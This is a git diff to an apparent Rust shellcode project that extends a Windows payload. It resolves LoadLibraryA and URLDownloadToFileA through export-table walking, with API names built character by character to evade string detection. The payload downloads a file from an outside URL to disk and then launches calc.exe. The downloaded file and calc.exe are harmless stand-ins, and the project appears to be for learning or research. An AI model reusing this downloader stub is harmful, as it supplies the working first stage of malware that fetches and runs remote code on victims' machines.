diff --git a/.gitignore b/.gitignore
index 2491af4..627a711 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,2 +1,3 @@
 */target
-/target
\ No newline at end of file
+/target
+*.xml
\ No newline at end of file
diff --git a/shellcode/src/main.rs b/shellcode/src/main.rs
index 6808dbf..a65272b 100644
--- a/shellcode/src/main.rs
+++ b/shellcode/src/main.rs
@@ -1,9 +1,9 @@
 #![no_main]
 #![no_std]
 
-use core::{arch::asm, mem::transmute, panic::PanicInfo};
+use core::{arch::asm, mem::transmute, panic::PanicInfo, ptr::{null, null_mut}};
 
-use resolver::{get_function_from_exports, LPCSTR};
+use resolver::{c_void, get_function_from_exports, DWORD, LONG, LPCSTR, PVOID};
 
 mod resolver;
 
@@ -13,6 +13,8 @@ fn panic(_info: &PanicInfo) -> ! {
 }
 
 pub type WinExec = extern "system" fn(lpCmdLine: LPCSTR, uCmdShow: u32) -> u32;
+pub type LoadLibraryA = extern "system" fn(lpFileName: LPCSTR) -> PVOID;
+pub type URLDownloadToFile = extern "system" fn(pCaller: *mut c_void, szURL: LPCSTR, szFileName: LPCSTR, reserved: DWORD, lpfnCB: *mut c_void) -> LONG;
 
 #[no_mangle]
 pub extern "system" fn main() {
@@ -50,9 +52,57 @@ pub extern "system" fn main() {
         0u8,
     ];
 
+    let load_library_str: &[u8] = &[
+        'L' as u8,
+        'o' as u8,
+        'a' as u8,
+        'd' as u8,
+        'L' as u8,
+        'i' as u8,
+        'b' as u8,
+        'r' as u8,
+        'a' as u8,
+        'r' as u8,
+        'y' as u8,
+        'A' as u8,
+        0u8,
+    ];
+
+    let urlmon_str: &[u16] = &[
+        'u' as u16,
+        'r' as u16,
+        'l' as u16,
+        'm' as u16,
+        'o' as u16,
+        'n' as u16,
+        '.' as u16,
+        'd' as u16,
+        'l' as u16,
+        'l' as u16,
+        0u16,
+    ];
+
     let k32_base_addr = resolver::get_dll_base(k32.as_ptr());
 
     let win_exec_fn_addr = get_function_from_exports(k32_base_addr, win_exec_str.as_ptr());
+    let load_library_fn_addr = get_function_from_exports(k32_base_addr, load_library_str.as_ptr());
+
+    let LoadLibraryA: LoadLibraryA = unsafe { transmute(load_library_fn_addr) };
+    let load_library_result =  LoadLibraryA("urlmon.dll\0".as_ptr() as *const i8);
+    
+    let urlmon_base_addr = resolver::get_dll_base(urlmon_str.as_ptr());
+    let URLDownloadToFileFnAddr = get_function_from_exports(urlmon_base_addr, "URLDownloadToFileA\0".as_ptr());
+
+    // URLDownloadToFile
+    let URLDownloadToFile: URLDownloadToFile = unsafe { transmute(URLDownloadToFileFnAddr) };
+    let url = "https://fluxsec.red/sitemap.xml\0";
+    let file_name = "C:\\Users\\ian\\git\\rust_shellcode\\shellcode\\test_file.xml\0";
+    
+    let result = URLDownloadToFile(null_mut(), url.as_ptr() as *const i8, file_name.as_ptr() as *const i8, 0, null_mut());
+    if result != 0 {
+        unsafe { asm!("int3") };
+        return;
+    }
 
     let WinExec: WinExec = unsafe { transmute(win_exec_fn_addr) };
     WinExec("calc.exe\0" as *const _ as *const i8, 1);